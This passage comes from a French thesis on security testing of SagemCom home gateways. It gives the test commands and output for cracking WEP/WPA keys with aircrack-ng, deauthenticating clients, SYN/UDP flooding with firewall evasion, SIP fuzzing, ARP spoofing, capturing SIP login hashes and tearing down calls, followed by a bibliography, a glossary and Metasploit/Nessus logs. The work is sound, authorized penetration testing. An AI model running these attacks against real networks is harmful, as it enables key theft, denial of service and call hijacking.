En 2008 deux chercheurs allemands en sécurité, Erik Tews et Martin Beck3, ont annoncé avoir découvert une faille de sécurité dans le mécanisme de sécurité WPA utilisé avec l'algorithme TKIP (Temporal Key Integrity Protocol) et en 2009, des chercheurs japonais, Masakatu Morii et Toshihiro Ohigashi, mettent au point une attaque permettant, en une minute, de falsifier des paquets de type ARP ou DNS.

Page 76

Chapitre 4

Mise en place d’une solution de tests de sécurité des TRs

Utiliser aireplay-ng pour générer plus de trafic en envoyant des ARP request 29:
aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:11:22:33:44:55 wifi0

 

-3: envoi des requêtes ARP. -b: adresse MAC du point d’accès

Finalement, craquer la clé avec aircrack-ng :
aircrack-ng -b 00:14:6C:7E:40:80 output*.cap

La durée de cette attaque varie entre 10 minutes à des heures selon le taux d’informations capturé.

Scénario 2 : Craquage clé WPA/WPA2
Le craquage du WPA nécessite un dictionnaire contenant un grand nombre de mots de passe possibles. La taille d’un dictionnaire peut varier entre quelque MO à quelques GO. Les étapes de l’attaque sont comme suit :  Activer la carte wifi en mode monitor :

airmon-ng start wifi0 6

Capturer le trafic avec la commande airodump-ng :
--bssid 00:14:6C:7E:40:80 -w output wifi0

airodump-ng -c 6

Utiliser airplay-ng pour forcer la de-authentification d’un client connecté au point d’accès qui va automatiquement s’authentifier de nouveau. Cette étape est obligatoire car le craquage de la clé WPA nécessite la détection de la phase de l’authentification.

aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -h 00:11:22:33:44:55 wifi0

o o o 

-0 1 : de-authentification. l’envoi d’une seule « deauths » (nous pouvons envoyer plusieurs) -a : adresse du point d’accès. -c : adresse de l’utilisateur à de-authentifier.

Utiliser aircrack-ng pour craquer la clé. o -w : liste de mot de passe à tester. Cette liste peut être téléchargé de l’internet ou générer à l’aide de plusieurs outils (par exemple : John The Ripper)

aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 output*.cap

29

Il faut environ 20,000 paquets pour les clés 64-bit et de 40,000 jusqu’à 85,000 paquets for 128 bit.

Page 77

Chapitre 4

Mise en place d’une solution de tests de sécurité des TRs

Test16: Perturbation des connexions
L’injection des paquets ARP dans le réseau sans fil peut affecter la qualité du signale et même engendre la mise hors service de tout le réseau. Ce test nécessite un réseau sans fil sécurisé avec une clé de chiffrement WEP. Pour aboutir à un résultat, il faut que le sniffeur détecte au moins un paquet ARP pour qu’il puisse injecter des paquets ARP. L’attaque est possible avec l’outil airplay-ng.
aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:11:22:33:44:55 wifi0

5. Module VoIP
5.1. Présentation des tests

Nous avons fixé un ensemble de tests primaires sur les TRs qui consiste à déterminer leurs effets sur le fonctionnement du module testé ainsi que les autres modules. Nos tests touchent deux axes :   Attaque lié au déni de service. Attaque lié à la vole de session SIP.

5.2.

Tests réalisés

5.2.1. Déni de service
Test17: SYN/UDP Flood (SIP)
Il s’agit du même principe de l’attaque SYN Flood décrite dans le module réseau. Nous avons réalisé deux scénarios.

Scénario 1: SYN/UDP Flood simple:
La réalisation de cette manipulation nous permet de tester la robustesse du TR contre ce type d’attaque ainsi que la configuration de son pare-feu. Pour cela nous avons utilisé l’outil HPING.
hping3 –S –p 5060 –i u10 @WAN hping3 –-udp –p 5060 –i u10 @WAN

Scénario 2 : SYN/UDP Flood avec technique d’évasion :
Dans la deuxième manipulation, nous avons utilisé une technique pour contourner la sécurité du pare-feu. Nous avons envoyé les paquets à partir du port source 5060. (Voir chapitre 3 : 4.3 SIP)
hping3 –S –p 5060 -k –i u10 @WAN hping3 –-udp –p 5060 -k –i u10 @WAN

Page 78

Chapitre 4

Mise en place d’une solution de tests de sécurité des TRs

-k : port source est le même que le port destination.

Test18: Requêtes SIP malformées
Le but de ce test est de tester si le serveur VoIP implémenté sur le TR supporte les requêtes SIP malformés. Pour cela, nous avons utilisé l’outil « PROTOS Test-Suite: c07-sip ». Avec BackTrack, sous le dossier « /penstest/VoIP/protos-sip », nous lançons la commande suivante :
java -jar c07-sip-r2.jar -touri USER@<@WAN> -showsent ………………………………… Sending Test-Case #5 test-case #5, 504 00000000 61 61 61 61 00000016 61 61 61 61 00000032 61 61 61 61 00000048 61 61 61 61 00000064 61 20 73 69 00000080 31 2e 31 20 00000096 3a 20 53 49 00000112 2e 66 6f 6f 00000128 61 6e 63 68 …………………………………………….

bytes 61 61 61 61 61 61 61 61 70 3a 53 49 50 2f 2e 6f 3d 7a

61 61 61 61 31 50 32 72 39

61 61 61 61 31 2f 2e 67 68

61 61 61 61 31 32 30 3a 47

61 61 61 61 40 2e 2f 35 34

61 61 61 61 31 30 55 30 62

61 61 61 61 30 0d 44 36 4b

61 61 61 61 2e 0a 50 30 30

61 61 61 61 31 56 20 3b 30

61 61 61 61 39 69 62 62 30

61 61 61 61 2e 61 74 72 30

aaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaa a sip:111@10.19. 1.1 SIP/2.0..Via : SIP/2.0/UDP bt .foo.org:5060;br anch=z9hG4bK0000

Requête SIP malformé.

5.2.2. Vole de session

Il existe plusieurs attaques basées sur le vole de session (ou HIjacking) dans les communications SIP. Ces attaques sont basées sur l’attaque MITM qui permet à un hacker de faire passer tous le trafic entre 2 machines par son PC. Nous doit d’abord réaliser l’attaque ARP Poisonning.

Test19 : ARP Spoofing
Arpspoof <@IP Victim> <@IP TR> Arpspoof <@IP TR> <@IP Victim>

Avec wireshark, nous capture le trafic pour déterminer les paramètres de connexion SIP entre le TR et la victime.

Figure 40 Capture de messages de signalisation (SIP)

Page 79

Chapitre 4

Mise en place d’une solution de tests de sécurité des TRs

Test20 : Capture de l’authentification SIP
Avec l’outil « SIPDUMP », nous pouvons capturer les authentifications SIP.
root@bt:/pentest/voip/sipcrack# ./sipdump -i eth0 auth.txt SIPdump 0.3 ( MaJoMu | www.codito.de ) --------------------------------------* Using dev 'eth0' for sniffing * Starting to sniff with packet filter 'tcp or udp or vlan' * Dumped login from 192.168.1.104 -> 192.168.1.1 (User: '200') * Dumped login from 192.168.1.104 -> 192.168.1.1 (User: '200') * Dumped login from 192.168.1.104 -> 192.168.1.1 (User: '200')

Ces informations seront utiles pour des éventuelles attaques basées sur l’ID d’un autre utilisateur.
192.168.1.1"192.168.1.104"200"asterisk"REGISTER"sip:192.168.1.104"44b80d16""""MD5"8edc2d549 294f6535070439fb069c968 192.168.1.1"192.168.1.104"200"asterisk"REGISTER"sip:192.168.1.104"46cce857""""MD5"4dfc75159 36a667565228dbaa0293dfc 192.168.1.1"192.168.1.104"200"asterisk"REGISTER"sip:192.168.1.104"2252e8fe""""MD5"5b895c6ae 07ed8391212119aab36f108

Test21: TearDown attack
Cette attaque a été réalisée en utilisant l’outil « teardown » afin de terminer une communication active entre deux entités en envoyant une requête « BYE » avec l’ID spoofé. La réalisation de cette attaque il faut capturer une réponse OK valide. La commande utilisée est la suivant :
./teardown eth0 extension sip_proxy 10.1.101.35 CallID FromTag ToTag

Conclusion
Dans ce chapitre, nous avons décrit les différents tests mis en œuvre pour la réalisation d’un plan de test de sécurité pour les TRs SagemCom. L’approche modulaire nous a permis de démultiplier les possibilités de scénario de tests et d’utiliser des notions issues d’un module sur d’autres. Dans notre effort, nous avons essayé de couvrir la totalité des failles et risques possibles pour chaque module. Néanmoins l’imagination et l’évolution du monde du piratage est sans limites et il reste certainement plusieurs autres tests possibles à imaginer afin que nous puissions assurer la sécurité totale dans le cadre des tests de pénétration et contre carrer les intention malveillantes ou les failles induites par l’architecture même de certains services et leur interactions. L’ensemble des tests a été intégré sous « Test Link30 » sous forme d’un plan de tests. (Voir Annexe 1 et Annexe 2)

30

Test Link est un outil de gestion des tests.

Page 80

Conclusion et Perspectives

D

ans le cadre de ce projet nous avons contribué à la mise en place d’une plateforme ainsi qu’un plan de test de sécurité pour les terminaux résidentiels pour le compte de l’entreprise

SagemCom. Ce travail a commencé par une étude sur les différents modules du TR et les risques auxquels ils sont exposés. Par la suite une étude comparative entre les différents outils existants a été réalisée. Cette étude nous a permis d’avoir une vision globale sur les besoins en termes de sécurité pour les tests à faire traités par priorité. A l’issue de cette étude, nous avons opté, d’une part, à la mise en place d’une plateforme de test qui couvre les différents modules du TR, basé sur des produits libres et d’autre part à la définition d’un plan de test correspondant déroulé sur différents produits SagemCom. Ce projet nous a permis de traiter un sujet d’actualité dans le domaine de la sécurité informatique. Il faut dire que la sécurité des TRs est un point très important car il présente le lien entre le réseau local d’une entreprise ou des particuliers et l’Internet. Tout au le long de ce projet, nous avons essayé de respecter les priorités de quelques tests par rapport à d’autres. Plusieurs extensions et améliorations peuvent être envisagées pour finaliser ce travail, à savoir :  L’automatisation des tests pour gagner en temps d’exécution et de minimiser le besoin en ressources humaines pour passer les tests. L’automatisation permettra en plus de détecter rapidement les régressions entre les différentes versions logicielles d’une passerelle. La force de frappe des équipes validation n’en sera que renforcée. Le développement des scripts avec l'outil d’automatisation utilisé par SagemCom seront éventuellement envisagés.   Le développement d’un outil de test des attaques DOS propre aux besoins de SagemCom qui consiste à tester seulement les services spécifiques proposés par les TRs Sagemcom La mise en place d’outils de tests de sécurité des TRs intégrant le protocole IPv6 qui est une nouvelle exigence demandée par les clients de SagemCom.

Page 81

Bibliographie

1.

Ilacqua,

Spike.

The

first

ISP.

USENIX.

[Online]

Mars

15,

1999.

http://www.usenix.org/publications/login/1999-2/isp.html. 2. Le Nouvel Observateur. La naissance du Web . Le nouvelle observateur. [En ligne] 20 Avril 2009. http://tempsreel.nouvelobs.com/vu-sur-le-web/20090420.OBS4013/la-naissance-du-web.html. 3. Le Journal du NET. Nombre d'abonnés à Internet en France. Le journal du NET. [En ligne] 18 Octobre 2010. http://www.journaldunet.com/ebusiness/le-net/nombre-abonnes-internet-france.shtml. 4. Lalonde, Denis. Les attaques informatiques grimpent en nombre, mais font moins de dommages. Direction Informatique. [En ligne] 20 Avril 2011.

http://www.directioninformatique.com/DI/client/fr/DirectionInformatique/Nouvelles.asp?id=62205. 5. SagemCom. BU Terminaux résidentiels & Haut Débit . SagemCom. [En ligne] 2010. www.sagemcom.com/index.php?id=1797&L=1. 6. Beaver, Kevin. Hacking For Dummies®, 3rd Edition. s.l. : Wiley Publishing, Inc., 2011. 7. ISECOM. OSSTMM 3. The Institute for Security and Open Methodologies (ISECOM). [En ligne] 14 Décembre 2010. http://www.osstmm.org/. 8. OWASP, The Open Web Application Security Project. OWASP, The Open Web Application Security Project. [En ligne] 12 Aout 2007. https://www.owasp.org/. 9. PTES. PTES, the Penetration Testing Execution Standard. PTES, the Penetration Testing Execution Standard. [En ligne] Janvier 2011. http://www.pentest-standard.org. 10. Katterjohn, Kris. Port Scanning Techniques. Packet Storm. [En ligne] 03 Aout 2007. http://packetstormsecurity.org/files/view/54973/port-scanning-techniques.txt. 11. DAMAYE, Sébastien. Attaques/Enumeration-Scanning/Scan-ports . Aldeid.com. [En ligne] 19 September 2010. http://www.aldeid.com/wiki/Attaques/Enumeration-Scanning/Scan-ports. 12. Nmap. Technique de scan de ports. Nmap.ORG. [En ligne] 2007. http://nmap.org/man/fr/manport-scanning-techniques.html. 13. Nmap. Timing and Performance. Nmap.ORG. [En ligne] 2007. http://nmap.org/book/manperformance.html.

Page 82

Bibliographie
14. Nmap. Remote OS detection via TCP/IP Stack FingerPrinting. Nmap.ORG. [En ligne] 18 Octobre 1998. http://nmap.org/nmap-fingerprinting-article.txt. 15. PCI Security Standards Council. PCI SSC Data Security Standards Overview. PCI Security Standards Council. [En ligne] 2006. https://www.pcisecuritystandards.org/security_standards/. 16. Adam Doup´e, Marco Cova et Giovanni Vigna. An Analysis of Black-box Web Vulnerability Scanners. s.l. : University of California, 2010. 17. Hemel, Armijn. UPnP IGD profile. IPnP Hacks. [En ligne] 2006. http://www.upnp-hacks.org/. 18. Lehembre, Guillaume. Wi-Fi security – WEP, WPA. s.l. : hakin9, 2010. 19. the VOIP Wiki. the VOIP Wiki. the VOIP Wiki. [En ligne] Mai 2011. http://www.voip-info.org/. 20. Services VoIP. Perspectives VoIP. Voip Zélites. [En ligne] 2011. http://www.services-voip.fr. 21. Collier, Mark. Basic Vulnerability Issues for SIP Security. s.l. : SecureLogix Corporation, 2005. 22. Back|Track Linux. Back|Track Linux: Penetration Testing Distribution. Back|Track Linux: Penetration Testing Distribution. [En ligne] 2011. http://www.backtrack-linux.org/. 23. OWASP Foundation. OWASP TESTING GUIDE V3.0. 2008. 24. Design and Analysis of Communication Systems Group (DACS). Attacks by “Anonymous” WikiLeaks Proponentsnot Anonymous. 2010. 25. CVE Details. Unspecified vulnerability in ISC BIND 9.0.x. CVE Details. [En ligne] 12 Octobre 2010. http://www.cvedetails.com/cve/CVE-2010-0290/. 26. CERT. CERT® Advisory CA-1998-01 Smurf IP Denial-of-Service Attacks. CERT. [En ligne] 5 Janvier 1998. http://www.cert.org/advisories/CA-1998-01.html. 27. CERT. CERT® Advisory CA-1996-21 TCP SYN Flooding and IP Spoofing Attacks. CERT. [En ligne] 19 Septembre 1996. www.cert.org/advisories/CA-1996-21.html. 28. CERT. CERT® Advisory CA-1997-28 IP Denial-of-Service Attacks. CERT. [En ligne] 17 Décembre 1997. http://www.cert.org/advisories/CA-1997-28.html. 29. Open Source Vulnerability Data Base. 5941: Linux Kernel Zero Length IP Fragmentation DoS. Open Source Vulnerability Data Base. [En ligne] 24 Mars 1999. http://osvdb.org/show/osvdb/5941.

Page 83

Bibliographie
30. Open Source Vulnerability Date Base. 5729: Multiple Vendor TCP/IP Fragmentation DoS (nestea). Open Source Vulnerability Date Base. [En ligne] 16 Avril 1998.

http://osvdb.org/show/osvdb/5729. 31. Open Source Vulnerability Data Base. 5394: Linux Kernel Fragmented ICMP Packet Information Disclosure. Open Source Vulnerability Data Base. [En ligne] 8 Avril 2004. http://osvdb.org/show/osvdb/5394. 32. —. 4566: Linux Kernel TCP/IP Fragment Reassembly DoS. Open Source Vulnerability Data Base. [En ligne] 28 Mai 2003. http://osvdb.org/show/osvdb/4566. 33. —. 1666: Multiple Vendor Out Of Band Data DoS (WinNuke). Open Source Vulnerability Data Base. [En ligne] 7 Mai 1997. http://osvdb.org/show/osvdb/1666. 34. OSVDB. Multiple Vendor Oversized ICMP Ping Packet DoS . Open Source Vulnerability Data Base. [En ligne] 01 Janvier 1997. http://osvdb.org/11454. 35. Open Source Vulnerability Data Base. 5727 : Multiple Vendor IP Fragment Re-Assembly Remote DoS (teardrop) . Open Source Vulnerability Data Base. [En ligne] Novembre 1997. http://osvdb.org/show/osvdb/5727.

Page 84

Glossaire

ADSL: Asymmetric Digital Subscriber Line Ajax: Asynchronous Javascript and XML

CVE: Common Vulnerability and Exposures CCMP: Counter-Mode/CBC-Mac protocol CMS: Content Management System C&C: Command and Control Server

DHCP: Dynamic Host Configuration Protocol DNS: Domain Name System DynDns: Dynamic DNS DLNA: Digital Living Network Alliance DMZ: Zone Démilitarisée DoS: Denial Of Service DDOS: Distributed Denial Of Service DECT: Digital Enhanced Cordless Telecommunications

ELSEC: Electronics Security EMSEC: Emission Security

FAI: Fournisseur d’Accès Internet FTTH: Fiber To The Home FTP: File Transfer Protocol

GUI: Graphical User Interface

Page 85

Glossaire

HTTP: Hypertext Transfer Protocol HTTPS: Hypertext Transfer Protocol Secured

IP: Internet Protocol ICMP: Internet Control Message Protocol IMAP: Internet Message Access Protocol IHM: Interaction Humain Machine IGD: Internet Gateway Device IRC: Internet Relay Chat IEEE: Institute of Electrical and Electronics Engineers

LAN: Local Area Network

M2M: Machine To Machine MAC: Media Access Control MGCP: Media Gateway Control Protocol

NAT: Network Address Translation NVD: National Vulnerability Database NVTs: Network Vulnerability Tests

OSI: Open Systems Interconnection OSVDB: Open Source Vulnerability Data Base OWASP: Open Web Application Security Project OpenVas: Open Vulnerability Assesement System OSSTMM: Open Source Security Testing Methodology Manual OSCP: Offensive Security Certified Professional OSCE: Offensive Security Certified Expert OSWP: Offensive Security Wireless Professional

PTES: Penetration Testing Execution Standard PCI DSS: Payment Card Industry Data Security Standard

Page 86

Glossaire
POP3: Post Office Protocol 3

RNIS : Réseau Numérique à Intégration de Services

SMTP: Simple Mail Transfer Protocol SSH: Secure Shell SIP: Session Initiation Protocol SSL: Secure Sockets Layer SaaS: Software as a Service SSID: Service Set Identifier SIGSEC: Signal Security PHYSSEC: Physical Security SPECSEC: Spectrum Security COMSEC: Communications Security

TR : terminal résidentiel TCP: Transmission Control Protocol TKIP: Temporal Key Integrity Protocol TLS: Transport Layer Security

UPnP: Universal Plug and Play UDP: User Datagram Protocol US-CERT: United State - Community Emergency Response Teams

VoIP: Voice over IP VDSL: Very high bit-rate DSL VOD: Video on Demand

WAN: Wide Area Network WiFi: Wireless Fidelity WEP: Wired Equivalent Privacy WPA: WiFi Protected Access WPA-PSK: WiFi Protected Access Pre-shared key

Page 87

Annexes

Module

Test

Référence RES-SCAN-TE1:TCP-SCAN RES-SCAN-TE1:SYN-SCAN RES-SCAN-TE1:UDP-SCAN RES-SCAN-TE1:EVASION-TECH RES-SCAN-TE2 RES-SCAN-TE3 RES-VULN-TE1 RES-VULN-TE2 RES-VULN-TE3 RES-VULN-TE4 RES-VULN-TE5 RES-DOS-TE1:LOIC-TCP RES-DOS-TE1:LOIC-UDP RES-DOS-TE1:LOIC-HTTP RES-DOS-TE2:HPING-SYN

Test1 : scan des ports

Test2 : scan des services Test3 : détection d’OS Test4: fuzzing avec OWASP-ZAP Test5: owasp-cm-001 SSL/TLS Réseau Test6: owasp-cm-008 Méthodes HTTP supportés Test7: owasp-at-004 énumérer les utilisateurs Test8: owasp-at-004 brute force attack Test9 (TCP/UDP/HTTP Flood)

Test10 (SYN/UDP/ICMP Flood) Test11 : Dns cache poisoning Test12: Attaque Ping Of Death UPnP Test13 : ajout d’une règle portmap invalide Test14: injection du code Test15 : Craquage des clés de chiffrement Test16: Perturbation des connexions Test17: SYN/UDP Flood (SIP) VoIP Test18: Requêtes SIP malformées Test19 : ARP Spoofing Test20 : Capture de l’authentification SIP Test21: TearDown attack:
Tableau 10 Liste des tests

RES-DOS-TE2:HPING-UDP RES-DOS-TE2:HPING-ICMP RES-DIV-TE1 RES-DIV-TE2 UPNP-TE1 UPNP-TE2:BLACK-BOX UPNP-TE2:WHITE-BOX WIFI-TE1 WIFI-TE2 SIP-TE1 SIP-TE2 SIP-TE3 SIP-TE4 SIP-TE5

WIFI

Page 88

Annexes

Page 89

Annexes

#!/bin/bash # spawn # Exploit-db script update - 03/31/2011 - 16:39 local=$(cat revision) remote=$(curl --silent --head http://www.exploit-db.com/archive.tar.bz2 | grep "LastModified" | md5sum | cut -f1 -d' ') echo "Checking http://www.exploit-db.com for newest version" if [ "$local" == "$remote" ]; then echo "No updates available" else echo "New update available, Downloading . . ." ; mv archive.tar.bz2 archive-old.tar.bz2 ; wget http://www.exploit-db.com/archive.tar.bz2; tar jxf archive.tar.bz2 ; echo "$remote" > revision echo "Exploits are updated" fi

Page 90

Annexes

msf msf msf [*] msf [*] [*] [*] [*] [*] [*] [*] [*] [*] [*] [*] [*] [*] [*] [*]

> db_driver postgresql > db_connect postgres:metasploit@127.0.0.1/metasploit > db_status postgresql connected to metasploit > db_import 192.168_scan.xml Importing 'Nmap XML' data Import: Parsing with 'Nokogiri v1.4.3.1' Importing host 192.168.1.1 Importing host 192.168.1.2 Importing host 192.168.1.3 Importing host 192.168.1.4 Importing host 192.168.1.7 Importing host 192.168.1.9 Importing host 192.168.1.10 Importing host 192.168.1.13 Importing host 192.168.1.15 Importing host 192.168.1.16 Importing host 192.168.1.22 Importing host 192.168.1.100 Successfully imported /home/mark/192.168_scan.xml

Page 91

Annexes

msf > load nessus [*] Nessus Bridge for Nessus 4.2.x [+] Type nessus_help for a command listing [*] Successfully loaded plugin: nessus msf > nessus_policy_list [+] Nessus Policy List ID Name Comments -- -----------4 Internal Network Scan -3 Web App Tests -2 Prepare for PCI DSS audits -1 External Network Scan 1 Customized Internel Network Scan msf > nessus_scan_new 1 ScanTR 192.168.1.1 [*] Creating scan from policy number 1, called "ScanTR" and scanning 192.168.1.1 [*] Scan started. uid is c620db6e-bec9-5d3d-6bd8-23eb6e7e5895f53497082c9e2aa2 msf > nessus_scan_status [+] Running Scans Scan ID Name Owner Started Status Current Hosts Total Hosts -------------- ------------------------ ----------c620db6e-bec9-5d3d-6bd8-23eb6e7e5895f53497082c9e2aa2 win2008-msf msf 03:48 Jun 01 2011 running 0 1 *Snip* msf > nessus_report_list [+] Nessus Report List ID Name Status Date ------------c620db6e-bec9-5d3d-6bd8-23eb6e7e5895f53497082c9e2aa2 win2008-msf completed 03:51 Jun 01 2011 *Snip* msf > nessus_report_get c620db6e-bec9-5d3d-6bd8-23eb6e7e5895f53497082c9e2aa2 [*] importing c620db6e-bec9-5d3d-6bd8-23eb6e7e5895f53497082c9e2aa2 [*] 192.168.1.180 Microsoft Windows Server 2008 Service Pack 1 Done! [+] Done msf > hosts -c address,vulns Hosts ===== address ------192.168.1.161 vulns ----33 port=3389 proto=tcp name=NSSport=1900 proto=udp name=NSSport=1030 proto=tcp name=NSSport=445 proto=tcp name=NSSport=445 proto=tcp name=NSSport=445 proto=tcp name=NSSport=445 proto=tcp name=NSSport=445 proto=tcp name=NSSport=445 proto=tcp name=NSS-

msf > vulns [*] Time: 2010-09-28 01:51:37 UTC Vuln: host=192.168.1.161 10940 refs= [*] Time: 2010-09-28 01:51:37 UTC Vuln: host=192.168.1.161 35713 refs= [*] Time: 2010-09-28 01:51:37 UTC Vuln: host=192.168.1.161 22319 refs= [*] Time: 2010-09-28 01:51:37 UTC Vuln: host=192.168.1.161 10396 refs= [*] Time: 2010-09-28 01:51:38 UTC Vuln: host=192.168.1.161 10860 refs=CVE-2000-1200,BID-959,OSVDB-714 [*] Time: 2010-09-28 01:51:38 UTC Vuln: host=192.168.1.161 10859 refs=CVE-2000-1200,BID-959,OSVDB-715 [*] Time: 2010-09-28 01:51:39 UTC Vuln: host=192.168.1.161 18502 refs=CVE-2005-1206,BID-13942,IAVA-2005-t-0019 [*] Time: 2010-09-28 01:51:40 UTC Vuln: host=192.168.1.161 20928 refs=CVE-2006-0013,BID-16636,OSVDB-23134 [*] Time: 2010-09-28 01:51:41 UTC Vuln: host=192.168.1.161 35362 refs=CVE-2008-4834,BID-31179,OSVDB-48153 [*] Time: 2010-09-28 01:51:41 UTC Vuln: host=192.168.1.161

Page 92

Sign up to vote on this title
UsefulNot useful

Master Your Semester with Scribd & The New York Times

Special offer for students: Only $4.99/month.

Master Your Semester with a Special Offer from Scribd & The New York Times

Cancel anytime.